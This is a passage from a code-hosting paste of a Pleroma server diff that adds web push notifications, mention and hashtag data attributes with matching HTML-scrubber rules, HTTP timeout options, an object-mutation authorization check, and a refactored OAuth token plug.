Page MenuHomePhorge

No OneTemporary

Authored By
Unknown
Size
396 KB
Referenced Files
None
Subscribers
None
This file is larger than 256 KB, so syntax highlighting was skipped.
diff --git a/config/config.md b/config/config.md
index 47e838dd6..d90d18566 100644
--- a/config/config.md
+++ b/config/config.md
@@ -1,111 +1,112 @@
# Configuration
This file describe the configuration, it is recommended to edit the relevant *.secret.exs file instead of the others founds in the ``config`` directory.
If you run Pleroma with ``MIX_ENV=prod`` the file is ``prod.secret.exs``, otherwise it is ``dev.secret.exs``.
## Pleroma.Upload
* `uploader`: Select which `Pleroma.Uploaders` to use
* `filters`: List of `Pleroma.Upload.Filter` to use.
* `base_url`: The base URL to access a user-uploaded file. Useful when you want to proxy the media files via another host.
* `proxy_remote`: If you're using a remote uploader, Pleroma will proxy media requests instead of redirecting to it.
* `proxy_opts`: Proxy options, see `Pleroma.ReverseProxy` documentation.
Note: `strip_exif` has been replaced by `Pleroma.Upload.Filter.Mogrify`.
## Pleroma.Uploaders.Local
* `uploads`: Which directory to store the user-uploads in, relative to pleroma’s working directory
## Pleroma.Upload.Filter.Mogrify
* `args`: List of actions for the `mogrify` command like `"strip"` or `["strip", {"impode", "1"}]`.
## :uri_schemes
* `valid_schemes`: List of the scheme part that is considered valid to be an URL
## :instance
* `name`: The instance’s name
* `email`: Email used to reach an Administrator/Moderator of the instance
* `description`: The instance’s description, can be seen in nodeinfo and ``/api/v1/instance``
* `limit`: Posts character limit (CW/Subject included in the counter)
* `upload_limit`: File size limit of uploads (except for avatar, background, banner)
* `avatar_upload_limit`: File size limit of user’s profile avatars
* `background_upload_limit`: File size limit of user’s profile backgrounds
* `banner_upload_limit`: File size limit of user’s profile backgrounds
* `registerations_open`: Enable registerations for anyone, invitations can be used when false.
* `federating`
* `allow_relay`: Enable Pleroma’s Relay, which makes it possible to follow a whole instance
* `rewrite_policy`: Message Rewrite Policy, either one or a list. Here are the ones available by default:
* `Pleroma.Web.ActivityPub.MRF.NoOpPolicy`: Doesn’t modify activities (default)
* `Pleroma.Web.ActivityPub.MRF.DropPolicy`: Drops all activities. It generally doesn’t makes sense to use in production
* `Pleroma.Web.ActivityPub.MRF.SimplePolicy`: Restrict the visibility of activities from certains instances (See ``:mrf_simple`` section)
* `Pleroma.Web.ActivityPub.MRF.RejectNonPublic`: Drops posts with non-public visibility settings (See ``:mrf_rejectnonpublic`` section)
+ * `Pleroma.Web.ActivityPub.MRF.EnsureRePrepended`: Rewrites posts to ensure that replies to posts with subjects do not have an identical subject and instead begin with re:.
* `public`: Makes the client API in authentificated mode-only except for user-profiles. Useful for disabling the Local Timeline and The Whole Known Network.
* `quarantined_instances`: List of ActivityPub instances where private(DMs, followers-only) activities will not be send.
* `managed_config`: Whenether the config for pleroma-fe is configured in this config or in ``static/config.json``
* `allowed_post_formats`: MIME-type list of formats allowed to be posted (transformed into HTML)
* `finmoji_enabled`: Whenether to enable the finmojis in the custom emojis.
* `mrf_transparency`: Make the content of your Message Rewrite Facility settings public (via nodeinfo).
## :fe
This section is used to configure Pleroma-FE, unless ``:managed_config`` in ``:instance`` is set to false.
* `theme`: Which theme to use, they are defined in ``styles.json``
* `logo`: URL of the logo, defaults to Pleroma’s logo
* `logo_mask`: Whenether to mask the logo
* `logo_margin`: What margin to use around the logo
* `background`: URL of the background, unless viewing a user profile with a background that is set
* `redirect_root_no_login`: relative URL which indicates where to redirect when a user isn’t logged in.
* `redirect_root_login`: relative URL which indicates where to redirect when a user is logged in.
* `show_instance_panel`: Whenether to show the instance’s specific panel.
* `scope_options_enabled`: Enable setting an notice visibility and subject/CW when posting
* `formatting_options_enabled`: Enable setting a formatting different than plain-text (ie. HTML, Markdown) when posting, relates to ``:instance, allowed_post_formats``
* `collapse_message_with_subjects`: When a message has a subject(aka Content Warning), collapse it by default
* `hide_post_stats`: Hide notices statistics(repeats, favorites, …)
* `hide_user_stats`: Hide profile statistics(posts, posts per day, followers, followings, …)
## :mrf_simple
* `media_removal`: List of instances to remove medias from
* `media_nsfw`: List of instances to put medias as NSFW(sensitive) from
* `federated_timeline_removal`: List of instances to remove from Federated (aka The Whole Known Network) Timeline
* `reject`: List of instances to reject any activities from
* `accept`: List of instances to accept any activities from
## :mrf_rejectnonpublic
* `allow_followersonly`: whether to allow followers-only posts
* `allow_direct`: whether to allow direct messages
## :media_proxy
* `enabled`: Enables proxying of remote media to the instance’s proxy
* `base_url`: The base URL to access a user-uploaded file. Useful when you want to proxy the media files via another host/CDN fronts.
* `proxy_opts`: All options defined in `Pleroma.ReverseProxy` documentation, defaults to `[max_body_length: (25*1_048_576)]`.
## :gopher
* `enabled`: Enables the gopher interface
* `ip`: IP address to bind to
* `port`: Port to bind to
## :activitypub
* ``accept_blocks``: Whether to accept incoming block activities from other instances
* ``unfollow_blocked``: Whether blocks result in people getting unfollowed
* ``outgoing_blocks``: Whether to federate blocks to other instances
* ``deny_follow_blocked``: Whether to disallow following an account that has blocked the user in question
## :http_security
* ``enabled``: Whether the managed content security policy is enabled
* ``sts``: Whether to additionally send a `Strict-Transport-Security` header
* ``sts_max_age``: The maximum age for the `Strict-Transport-Security` header if sent
* ``ct_max_age``: The maximum age for the `Expect-CT` header if sent
* ``referrer_policy``: The referrer policy to use, either `"same-origin"` or `"no-referrer"`.
## :mrf_user_allowlist
The keys in this section are the domain names that the policy should apply to.
Each key should be assigned a list of users that should be allowed through by
their ActivityPub ID.
An example:
```
config :pleroma, :mrf_user_allowlist,
"example.org": ["https://example.org/users/admin"]
```
diff --git a/config/test.exs b/config/test.exs
index 6f6227c20..ca10a616c 100644
--- a/config/test.exs
+++ b/config/test.exs
@@ -1,37 +1,43 @@
use Mix.Config
# We don't run a server during test. If one is required,
# you can enable the server option below.
config :pleroma, Pleroma.Web.Endpoint,
http: [port: 4001],
server: false
# Print only warnings and errors during test
config :logger, level: :warn
config :pleroma, Pleroma.Uploaders.Local, uploads: "test/uploads"
# Configure your database
config :pleroma, Pleroma.Repo,
adapter: Ecto.Adapters.Postgres,
username: "postgres",
password: "postgres",
database: "pleroma_test",
hostname: System.get_env("DB_HOST") || "localhost",
pool: Ecto.Adapters.SQL.Sandbox
# Reduce hash rounds for testing
config :pbkdf2_elixir, rounds: 1
config :pleroma, :websub, Pleroma.Web.WebsubMock
config :pleroma, :ostatus, Pleroma.Web.OStatusMock
config :tesla, adapter: Tesla.Mock
+config :web_push_encryption, :vapid_details,
+ subject: "mailto:administrator@example.com",
+ public_key:
+ "BLH1qVhJItRGCfxgTtONfsOKDc9VRAraXw-3NsmjMngWSh7NxOizN6bkuRA7iLTMPS82PjwJAr3UoK9EC1IFrz4",
+ private_key: "_-XZ0iebPrRfZ_o0-IatTdszYa8VCH1yLN-JauK7HHA"
+
try do
import_config "test.secret.exs"
rescue
_ ->
IO.puts(
"You may want to create test.secret.exs to declare custom database connection parameters."
)
end
diff --git a/lib/mix/tasks/pleroma/sample_config.eex b/lib/mix/tasks/pleroma/sample_config.eex
index df9d1ad65..0cd572797 100644
--- a/lib/mix/tasks/pleroma/sample_config.eex
+++ b/lib/mix/tasks/pleroma/sample_config.eex
@@ -1,71 +1,77 @@
# Pleroma instance configuration
# NOTE: This file should not be committed to a repo or otherwise made public
# without removing sensitive information.
use Mix.Config
config :pleroma, Pleroma.Web.Endpoint,
url: [host: "<%= domain %>", scheme: "https", port: 443],
secret_key_base: "<%= secret %>"
config :pleroma, :instance,
name: "<%= name %>",
email: "<%= email %>",
limit: 5000,
registrations_open: true,
dedupe_media: false
config :pleroma, :media_proxy,
enabled: false,
redirect_on_failure: true
#base_url: "https://cache.pleroma.social"
config :pleroma, Pleroma.Repo,
adapter: Ecto.Adapters.Postgres,
username: "<%= dbuser %>",
password: "<%= dbpass %>",
database: "<%= dbname %>",
hostname: "<%= dbhost %>",
pool_size: 10
+# Configure web push notifications
+config :web_push_encryption, :vapid_details,
+ subject: "mailto:<%= email %>",
+ public_key: "<%= web_push_public_key %>",
+ private_key: "<%= web_push_private_key %>"
+
# Enable Strict-Transport-Security once SSL is working:
# config :pleroma, :http_security,
# sts: true
# Configure S3 support if desired.
# The public S3 endpoint is different depending on region and provider,
# consult your S3 provider's documentation for details on what to use.
#
# config :pleroma, Pleroma.Uploaders.S3,
# bucket: "some-bucket",
# public_endpoint: "https://s3.amazonaws.com"
#
# Configure S3 credentials:
# config :ex_aws, :s3,
# access_key_id: "xxxxxxxxxxxxx",
# secret_access_key: "yyyyyyyyyyyy",
# region: "us-east-1",
# scheme: "https://"
#
# For using third-party S3 clones like wasabi, also do:
# config :ex_aws, :s3,
# host: "s3.wasabisys.com"
# Configure Openstack Swift support if desired.
-#
-# Many openstack deployments are different, so config is left very open with
-# no assumptions made on which provider you're using. This should allow very
+#
+# Many openstack deployments are different, so config is left very open with
+# no assumptions made on which provider you're using. This should allow very
# wide support without needing separate handlers for OVH, Rackspace, etc.
#
# config :pleroma, Pleroma.Uploaders.Swift,
# container: "some-container",
# username: "api-username-yyyy",
# password: "api-key-xxxx",
# tenant_id: "<openstack-project/tenant-id>",
# auth_url: "https://keystone-endpoint.provider.com",
# storage_url: "https://swift-endpoint.prodider.com/v1/AUTH_<tenant>/<container>",
# object_url: "https://cdn-endpoint.provider.com/<container>"
#
diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex
index cc68d9669..0b0ec0197 100644
--- a/lib/pleroma/application.ex
+++ b/lib/pleroma/application.ex
@@ -1,101 +1,102 @@
defmodule Pleroma.Application do
use Application
import Supervisor.Spec
@name "Pleroma"
@version Mix.Project.config()[:version]
def name, do: @name
def version, do: @version
def named_version(), do: @name <> " " <> @version
def user_agent() do
info = "#{Pleroma.Web.base_url()} <#{Pleroma.Config.get([:instance, :email], "")}>"
named_version() <> "; " <> info
end
# See http://elixir-lang.org/docs/stable/elixir/Application.html
# for more information on OTP Applications
@env Mix.env()
def start(_type, _args) do
import Cachex.Spec
# Define workers and child supervisors to be supervised
children =
[
# Start the Ecto repository
supervisor(Pleroma.Repo, []),
worker(Pleroma.Emoji, []),
worker(
Cachex,
[
:user_cache,
[
default_ttl: 25000,
ttl_interval: 1000,
limit: 2500
]
],
id: :cachex_user
),
worker(
Cachex,
[
:object_cache,
[
default_ttl: 25000,
ttl_interval: 1000,
limit: 2500
]
],
id: :cachex_object
),
worker(
Cachex,
[
:idempotency_cache,
[
expiration:
expiration(
default: :timer.seconds(6 * 60 * 60),
interval: :timer.seconds(60)
),
limit: 2500
]
],
id: :cachex_idem
),
worker(Pleroma.Web.Federator.RetryQueue, []),
worker(Pleroma.Web.Federator, []),
- worker(Pleroma.Stats, [])
+ worker(Pleroma.Stats, []),
+ worker(Pleroma.Web.Push, [])
] ++
streamer_child() ++
chat_child() ++
[
# Start the endpoint when the application starts
supervisor(Pleroma.Web.Endpoint, []),
worker(Pleroma.Gopher.Server, [])
]
# See http://elixir-lang.org/docs/stable/elixir/Supervisor.html
# for other strategies and supported options
opts = [strategy: :one_for_one, name: Pleroma.Supervisor]
Supervisor.start_link(children, opts)
end
if Mix.env() == :test do
defp streamer_child(), do: []
defp chat_child(), do: []
else
defp streamer_child() do
[worker(Pleroma.Web.Streamer, [])]
end
defp chat_child() do
if Pleroma.Config.get([:chat, :enabled]) do
[worker(Pleroma.Web.ChatChannel.ChatChannelState, [])]
else
[]
end
end
end
end
diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex
index 1a5c07c8a..5b03e9aeb 100644
--- a/lib/pleroma/formatter.ex
+++ b/lib/pleroma/formatter.ex
@@ -1,162 +1,166 @@
defmodule Pleroma.Formatter do
alias Pleroma.User
alias Pleroma.Web.MediaProxy
alias Pleroma.HTML
alias Pleroma.Emoji
@tag_regex ~r/\#\w+/u
def parse_tags(text, data \\ %{}) do
Regex.scan(@tag_regex, text)
|> Enum.map(fn ["#" <> tag = full_tag] -> {full_tag, String.downcase(tag)} end)
|> (fn map ->
if data["sensitive"] in [true, "True", "true", "1"],
do: [{"#nsfw", "nsfw"}] ++ map,
else: map
end).()
end
def parse_mentions(text) do
# Modified from https://www.w3.org/TR/html5/forms.html#valid-e-mail-address
regex =
~r/@[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]*@?[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*/u
Regex.scan(regex, text)
|> List.flatten()
|> Enum.uniq()
|> Enum.map(fn "@" <> match = full_match ->
{full_match, User.get_cached_by_nickname(match)}
end)
|> Enum.filter(fn {_match, user} -> user end)
end
def emojify(text) do
emojify(text, Emoji.get_all())
end
def emojify(text, nil), do: text
def emojify(text, emoji) do
Enum.reduce(emoji, text, fn {emoji, file}, text ->
emoji = HTML.strip_tags(emoji)
file = HTML.strip_tags(file)
String.replace(
text,
":#{emoji}:",
"<img height='32px' width='32px' alt='#{emoji}' title='#{emoji}' src='#{
MediaProxy.url(file)
}' />"
)
|> HTML.filter_tags()
end)
end
def get_emoji(text) when is_binary(text) do
Enum.filter(Emoji.get_all(), fn {emoji, _} -> String.contains?(text, ":#{emoji}:") end)
end
def get_emoji(_), do: []
@link_regex ~r/[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+/ui
@uri_schemes Application.get_env(:pleroma, :uri_schemes, [])
@valid_schemes Keyword.get(@uri_schemes, :valid_schemes, [])
# TODO: make it use something other than @link_regex
def html_escape(text, "text/html") do
HTML.filter_tags(text)
end
def html_escape(text, "text/plain") do
Regex.split(@link_regex, text, include_captures: true)
|> Enum.map_every(2, fn chunk ->
{:safe, part} = Phoenix.HTML.html_escape(chunk)
part
end)
|> Enum.join("")
end
@doc "changes scheme:... urls to html links"
def add_links({subs, text}) do
links =
text
|> String.split([" ", "\t", "<br>"])
|> Enum.filter(fn word -> String.starts_with?(word, @valid_schemes) end)
|> Enum.filter(fn word -> Regex.match?(@link_regex, word) end)
|> Enum.map(fn url -> {Ecto.UUID.generate(), url} end)
|> Enum.sort_by(fn {_, url} -> -String.length(url) end)
uuid_text =
links
|> Enum.reduce(text, fn {uuid, url}, acc -> String.replace(acc, url, uuid) end)
subs =
subs ++
Enum.map(links, fn {uuid, url} ->
{uuid, "<a href=\"#{url}\">#{url}</a>"}
end)
{subs, uuid_text}
end
@doc "Adds the links to mentioned users"
def add_user_links({subs, text}, mentions) do
mentions =
mentions
|> Enum.sort_by(fn {name, _} -> -String.length(name) end)
|> Enum.map(fn {name, user} -> {name, user, Ecto.UUID.generate()} end)
uuid_text =
mentions
|> Enum.reduce(text, fn {match, _user, uuid}, text ->
String.replace(text, match, uuid)
end)
subs =
subs ++
- Enum.map(mentions, fn {match, %User{ap_id: ap_id, info: info}, uuid} ->
+ Enum.map(mentions, fn {match, %User{id: id, ap_id: ap_id, info: info}, uuid} ->
ap_id =
if is_binary(info.source_data["url"]) do
info.source_data["url"]
else
ap_id
end
short_match = String.split(match, "@") |> tl() |> hd()
{uuid,
- "<span><a class='mention' href='#{ap_id}'>@<span>#{short_match}</span></a></span>"}
+ "<span><a data-user='#{id}' class='mention' href='#{ap_id}'>@<span>#{short_match}</span></a></span>"}
end)
{subs, uuid_text}
end
@doc "Adds the hashtag links"
def add_hashtag_links({subs, text}, tags) do
tags =
tags
|> Enum.sort_by(fn {name, _} -> -String.length(name) end)
|> Enum.map(fn {name, short} -> {name, short, Ecto.UUID.generate()} end)
uuid_text =
tags
|> Enum.reduce(text, fn {match, _short, uuid}, text ->
String.replace(text, match, uuid)
end)
subs =
subs ++
Enum.map(tags, fn {tag_text, tag, uuid} ->
- url = "<a href='#{Pleroma.Web.base_url()}/tag/#{tag}' rel='tag'>#{tag_text}</a>"
+ url =
+ "<a data-tag='#{tag}' href='#{Pleroma.Web.base_url()}/tag/#{tag}' rel='tag'>#{
+ tag_text
+ }</a>"
+
{uuid, url}
end)
{subs, uuid_text}
end
def finalize({subs, text}) do
Enum.reduce(subs, text, fn {uuid, replacement}, result_text ->
String.replace(result_text, uuid, replacement)
end)
end
end
diff --git a/lib/pleroma/html.ex b/lib/pleroma/html.ex
index 1b920d7fd..5daaa5e69 100644
--- a/lib/pleroma/html.ex
+++ b/lib/pleroma/html.ex
@@ -1,185 +1,185 @@
defmodule Pleroma.HTML do
alias HtmlSanitizeEx.Scrubber
defp get_scrubbers(scrubber) when is_atom(scrubber), do: [scrubber]
defp get_scrubbers(scrubbers) when is_list(scrubbers), do: scrubbers
defp get_scrubbers(_), do: [Pleroma.HTML.Scrubber.Default]
def get_scrubbers() do
Pleroma.Config.get([:markup, :scrub_policy])
|> get_scrubbers
end
def filter_tags(html, nil) do
get_scrubbers()
|> Enum.reduce(html, fn scrubber, html ->
filter_tags(html, scrubber)
end)
end
def filter_tags(html, scrubber) do
html |> Scrubber.scrub(scrubber)
end
def filter_tags(html), do: filter_tags(html, nil)
def strip_tags(html) do
html |> Scrubber.scrub(Scrubber.StripTags)
end
end
defmodule Pleroma.HTML.Scrubber.TwitterText do
@moduledoc """
An HTML scrubbing policy which limits to twitter-style text. Only
paragraphs, breaks and links are allowed through the filter.
"""
@markup Application.get_env(:pleroma, :markup)
@uri_schemes Application.get_env(:pleroma, :uri_schemes, [])
@valid_schemes Keyword.get(@uri_schemes, :valid_schemes, [])
require HtmlSanitizeEx.Scrubber.Meta
alias HtmlSanitizeEx.Scrubber.Meta
Meta.remove_cdata_sections_before_scrub()
Meta.strip_comments()
# links
- Meta.allow_tag_with_uri_attributes("a", ["href"], @valid_schemes)
+ Meta.allow_tag_with_uri_attributes("a", ["href", "data-user", "data-tag"], @valid_schemes)
Meta.allow_tag_with_these_attributes("a", ["name", "title"])
# paragraphs and linebreaks
Meta.allow_tag_with_these_attributes("br", [])
Meta.allow_tag_with_these_attributes("p", [])
# microformats
Meta.allow_tag_with_these_attributes("span", [])
# allow inline images for custom emoji
@allow_inline_images Keyword.get(@markup, :allow_inline_images)
if @allow_inline_images do
# restrict img tags to http/https only, because of MediaProxy.
Meta.allow_tag_with_uri_attributes("img", ["src"], ["http", "https"])
Meta.allow_tag_with_these_attributes("img", [
"width",
"height",
"title",
"alt"
])
end
Meta.strip_everything_not_covered()
end
defmodule Pleroma.HTML.Scrubber.Default do
@doc "The default HTML scrubbing policy: no "
require HtmlSanitizeEx.Scrubber.Meta
alias HtmlSanitizeEx.Scrubber.Meta
@markup Application.get_env(:pleroma, :markup)
@uri_schemes Application.get_env(:pleroma, :uri_schemes, [])
@valid_schemes Keyword.get(@uri_schemes, :valid_schemes, [])
Meta.remove_cdata_sections_before_scrub()
Meta.strip_comments()
- Meta.allow_tag_with_uri_attributes("a", ["href"], @valid_schemes)
+ Meta.allow_tag_with_uri_attributes("a", ["href", "data-user", "data-tag"], @valid_schemes)
Meta.allow_tag_with_these_attributes("a", ["name", "title"])
Meta.allow_tag_with_these_attributes("abbr", ["title"])
Meta.allow_tag_with_these_attributes("b", [])
Meta.allow_tag_with_these_attributes("blockquote", [])
Meta.allow_tag_with_these_attributes("br", [])
Meta.allow_tag_with_these_attributes("code", [])
Meta.allow_tag_with_these_attributes("del", [])
Meta.allow_tag_with_these_attributes("em", [])
Meta.allow_tag_with_these_attributes("i", [])
Meta.allow_tag_with_these_attributes("li", [])
Meta.allow_tag_with_these_attributes("ol", [])
Meta.allow_tag_with_these_attributes("p", [])
Meta.allow_tag_with_these_attributes("pre", [])
Meta.allow_tag_with_these_attributes("span", [])
Meta.allow_tag_with_these_attributes("strong", [])
Meta.allow_tag_with_these_attributes("u", [])
Meta.allow_tag_with_these_attributes("ul", [])
@allow_inline_images Keyword.get(@markup, :allow_inline_images)
if @allow_inline_images do
# restrict img tags to http/https only, because of MediaProxy.
Meta.allow_tag_with_uri_attributes("img", ["src"], ["http", "https"])
Meta.allow_tag_with_these_attributes("img", [
"width",
"height",
"title",
"alt"
])
end
@allow_tables Keyword.get(@markup, :allow_tables)
if @allow_tables do
Meta.allow_tag_with_these_attributes("table", [])
Meta.allow_tag_with_these_attributes("tbody", [])
Meta.allow_tag_with_these_attributes("td", [])
Meta.allow_tag_with_these_attributes("th", [])
Meta.allow_tag_with_these_attributes("thead", [])
Meta.allow_tag_with_these_attributes("tr", [])
end
@allow_headings Keyword.get(@markup, :allow_headings)
if @allow_headings do
Meta.allow_tag_with_these_attributes("h1", [])
Meta.allow_tag_with_these_attributes("h2", [])
Meta.allow_tag_with_these_attributes("h3", [])
Meta.allow_tag_with_these_attributes("h4", [])
Meta.allow_tag_with_these_attributes("h5", [])
end
@allow_fonts Keyword.get(@markup, :allow_fonts)
if @allow_fonts do
Meta.allow_tag_with_these_attributes("font", ["face"])
end
Meta.strip_everything_not_covered()
end
defmodule Pleroma.HTML.Transform.MediaProxy do
@moduledoc "Transforms inline image URIs to use MediaProxy."
alias Pleroma.Web.MediaProxy
def before_scrub(html), do: html
def scrub_attribute("img", {"src", "http" <> target}) do
media_url =
("http" <> target)
|> MediaProxy.url()
{"src", media_url}
end
def scrub_attribute(tag, attribute), do: attribute
def scrub({"img", attributes, children}) do
attributes =
attributes
|> Enum.map(fn attr -> scrub_attribute("img", attr) end)
|> Enum.reject(&is_nil(&1))
{"img", attributes, children}
end
def scrub({:comment, children}), do: ""
def scrub({tag, attributes, children}), do: {tag, attributes, children}
def scrub({tag, children}), do: children
def scrub(text), do: text
end
diff --git a/lib/pleroma/http/connection.ex b/lib/pleroma/http/connection.ex
index 5e8f2aabd..db46f9e55 100644
--- a/lib/pleroma/http/connection.ex
+++ b/lib/pleroma/http/connection.ex
@@ -1,27 +1,32 @@
defmodule Pleroma.HTTP.Connection do
@moduledoc """
Connection for http-requests.
"""
- @hackney_options [pool: :default]
+ @hackney_options [
+ pool: :default,
+ timeout: 10000,
+ recv_timeout: 20000,
+ follow_redirect: true
+ ]
@adapter Application.get_env(:tesla, :adapter)
@doc """
Configure a client connection
# Returns
Tesla.Env.client
"""
@spec new(Keyword.t()) :: Tesla.Env.client()
def new(opts \\ []) do
Tesla.client([], {@adapter, hackney_options(opts)})
end
# fetch Hackney options
#
defp hackney_options(opts \\ []) do
options = Keyword.get(opts, :adapter, [])
@hackney_options ++ options
end
end
diff --git a/lib/pleroma/notification.ex b/lib/pleroma/notification.ex
index a3aeb1221..a40b8f8c9 100644
--- a/lib/pleroma/notification.ex
+++ b/lib/pleroma/notification.ex
@@ -1,176 +1,177 @@
defmodule Pleroma.Notification do
use Ecto.Schema
alias Pleroma.{User, Activity, Notification, Repo, Object}
import Ecto.Query
schema "notifications" do
field(:seen, :boolean, default: false)
belongs_to(:user, Pleroma.User)
belongs_to(:activity, Pleroma.Activity)
timestamps()
end
# TODO: Make generic and unify (see activity_pub.ex)
defp restrict_max(query, %{"max_id" => max_id}) do
from(activity in query, where: activity.id < ^max_id)
end
defp restrict_max(query, _), do: query
defp restrict_since(query, %{"since_id" => since_id}) do
from(activity in query, where: activity.id > ^since_id)
end
defp restrict_since(query, _), do: query
def for_user(user, opts \\ %{}) do
query =
from(
n in Notification,
where: n.user_id == ^user.id,
order_by: [desc: n.id],
preload: [:activity],
limit: 20
)
query =
query
|> restrict_since(opts)
|> restrict_max(opts)
Repo.all(query)
end
def set_read_up_to(%{id: user_id} = _user, id) do
query =
from(
n in Notification,
where: n.user_id == ^user_id,
where: n.id <= ^id,
update: [
set: [seen: true]
]
)
Repo.update_all(query, [])
end
def get(%{id: user_id} = _user, id) do
query =
from(
n in Notification,
where: n.id == ^id,
preload: [:activity]
)
notification = Repo.one(query)
case notification do
%{user_id: ^user_id} ->
{:ok, notification}
_ ->
{:error, "Cannot get notification"}
end
end
def clear(user) do
query = from(n in Notification, where: n.user_id == ^user.id)
Repo.delete_all(query)
end
def dismiss(%{id: user_id} = _user, id) do
notification = Repo.get(Notification, id)
case notification do
%{user_id: ^user_id} ->
Repo.delete(notification)
_ ->
{:error, "Cannot dismiss notification"}
end
end
def create_notifications(%Activity{id: _, data: %{"to" => _, "type" => type}} = activity)
when type in ["Create", "Like", "Announce", "Follow"] do
users = get_notified_from_activity(activity)
notifications = Enum.map(users, fn user -> create_notification(activity, user) end)
{:ok, notifications}
end
def create_notifications(_), do: {:ok, []}
# TODO move to sql, too.
def create_notification(%Activity{} = activity, %User{} = user) do
unless User.blocks?(user, %{ap_id: activity.data["actor"]}) or
user.ap_id == activity.data["actor"] do
notification = %Notification{user_id: user.id, activity: activity}
{:ok, notification} = Repo.insert(notification)
Pleroma.Web.Streamer.stream("user", notification)
+ Pleroma.Web.Push.send(notification)
notification
end
end
def get_notified_from_activity(activity, local_only \\ true)
def get_notified_from_activity(
%Activity{data: %{"to" => _, "type" => type} = data} = activity,
local_only
)
when type in ["Create", "Like", "Announce", "Follow"] do
recipients =
[]
|> maybe_notify_to_recipients(activity)
|> maybe_notify_mentioned_recipients(activity)
|> Enum.uniq()
User.get_users_from_set(recipients, local_only)
end
def get_notified_from_activity(_, local_only), do: []
defp maybe_notify_to_recipients(
recipients,
%Activity{data: %{"to" => to, "type" => type}} = activity
) do
recipients ++ to
end
defp maybe_notify_mentioned_recipients(
recipients,
%Activity{data: %{"to" => to, "type" => type} = data} = activity
)
when type == "Create" do
object = Object.normalize(data["object"])
object_data =
cond do
!is_nil(object) ->
object.data
is_map(data["object"]) ->
data["object"]
true ->
%{}
end
tagged_mentions = maybe_extract_mentions(object_data)
recipients ++ tagged_mentions
end
defp maybe_notify_mentioned_recipients(recipients, _), do: recipients
defp maybe_extract_mentions(%{"tag" => tag}) do
tag
|> Enum.filter(fn x -> is_map(x) end)
|> Enum.filter(fn x -> x["type"] == "Mention" end)
|> Enum.map(fn x -> x["href"] end)
end
defp maybe_extract_mentions(_), do: []
end
diff --git a/lib/pleroma/object.ex b/lib/pleroma/object.ex
index 03a75dfbd..31c8dd5bd 100644
--- a/lib/pleroma/object.ex
+++ b/lib/pleroma/object.ex
@@ -1,65 +1,72 @@
defmodule Pleroma.Object do
use Ecto.Schema
- alias Pleroma.{Repo, Object, Activity}
+ alias Pleroma.{Repo, Object, User, Activity}
import Ecto.{Query, Changeset}
schema "objects" do
field(:data, :map)
timestamps()
end
def create(data) do
Object.change(%Object{}, %{data: data})
|> Repo.insert()
end
def change(struct, params \\ %{}) do
struct
|> cast(params, [:data])
|> validate_required([:data])
|> unique_constraint(:ap_id, name: :objects_unique_apid_index)
end
def get_by_ap_id(nil), do: nil
def get_by_ap_id(ap_id) do
Repo.one(from(object in Object, where: fragment("(?)->>'id' = ?", object.data, ^ap_id)))
end
def normalize(obj) when is_map(obj), do: Object.get_by_ap_id(obj["id"])
def normalize(ap_id) when is_binary(ap_id), do: Object.get_by_ap_id(ap_id)
def normalize(_), do: nil
+ # Owned objects can only be mutated by their owner
+ def authorize_mutation(%Object{data: %{"actor" => actor}}, %User{ap_id: ap_id}),
+ do: actor == ap_id
+
+ # Legacy objects can be mutated by anybody
+ def authorize_mutation(%Object{}, %User{}), do: true
+
if Mix.env() == :test do
def get_cached_by_ap_id(ap_id) do
get_by_ap_id(ap_id)
end
else
def get_cached_by_ap_id(ap_id) do
key = "object:#{ap_id}"
Cachex.fetch!(:object_cache, key, fn _ ->
object = get_by_ap_id(ap_id)
if object do
{:commit, object}
else
{:ignore, object}
end
end)
end
end
def context_mapping(context) do
Object.change(%Object{}, %{data: %{"id" => context}})
end
def delete(%Object{data: %{"id" => id}} = object) do
with Repo.delete(object),
Repo.delete_all(Activity.all_non_create_by_object_ap_id_q(id)),
{:ok, true} <- Cachex.del(:object_cache, "object:#{id}") do
{:ok, object}
end
end
end
diff --git a/lib/pleroma/plugs/oauth_plug.ex b/lib/pleroma/plugs/oauth_plug.ex
index 630f15eec..8b99a74d1 100644
--- a/lib/pleroma/plugs/oauth_plug.ex
+++ b/lib/pleroma/plugs/oauth_plug.ex
@@ -1,30 +1,70 @@
defmodule Pleroma.Plugs.OAuthPlug do
import Plug.Conn
- alias Pleroma.User
- alias Pleroma.Repo
- alias Pleroma.Web.OAuth.Token
+ import Ecto.Query
- def init(options) do
- options
- end
+ alias Pleroma.{
+ User,
+ Repo,
+ Web.OAuth.Token
+ }
+
+ @realm_reg Regex.compile!("Bearer\:?\s+(.*)$", "i")
+
+ def init(options), do: options
def call(%{assigns: %{user: %User{}}} = conn, _), do: conn
def call(conn, _) do
- token =
- case get_req_header(conn, "authorization") do
- ["Bearer " <> header] -> header
- _ -> get_session(conn, :oauth_token)
- end
-
- with token when not is_nil(token) <- token,
- %Token{user_id: user_id} <- Repo.get_by(Token, token: token),
- %User{} = user <- Repo.get(User, user_id),
- false <- !!user.info.deactivated do
+ with {:ok, token} <- fetch_token(conn),
+ {:ok, user} <- fetch_user(token) do
conn
+ |> assign(:token, token)
|> assign(:user, user)
else
_ -> conn
end
end
+
+ # Gets user by token
+ #
+ @spec fetch_user(String.t()) :: {:ok, User.t()} | nil
+ defp fetch_user(token) do
+ query = from(q in Token, where: q.token == ^token, preload: [:user])
+
+ with %Token{user: %{info: %{deactivated: false} = _} = user} <- Repo.one(query) do
+ {:ok, user}
+ end
+ end
+
+ # Gets token from session by :oauth_token key
+ #
+ @spec fetch_token_from_session(Plug.Conn.t()) :: :no_token_found | {:ok, String.t()}
+ defp fetch_token_from_session(conn) do
+ case get_session(conn, :oauth_token) do
+ nil -> :no_token_found
+ token -> {:ok, token}
+ end
+ end
+
+ # Gets token from headers
+ #
+ @spec fetch_token(Plug.Conn.t()) :: :no_token_found | {:ok, String.t()}
+ defp fetch_token(%Plug.Conn{} = conn) do
+ headers = get_req_header(conn, "authorization")
+
+ with :no_token_found <- fetch_token(headers),
+ do: fetch_token_from_session(conn)
+ end
+
+ @spec fetch_token(Keyword.t()) :: :no_token_found | {:ok, String.t()}
+ defp fetch_token([]), do: :no_token_found
+
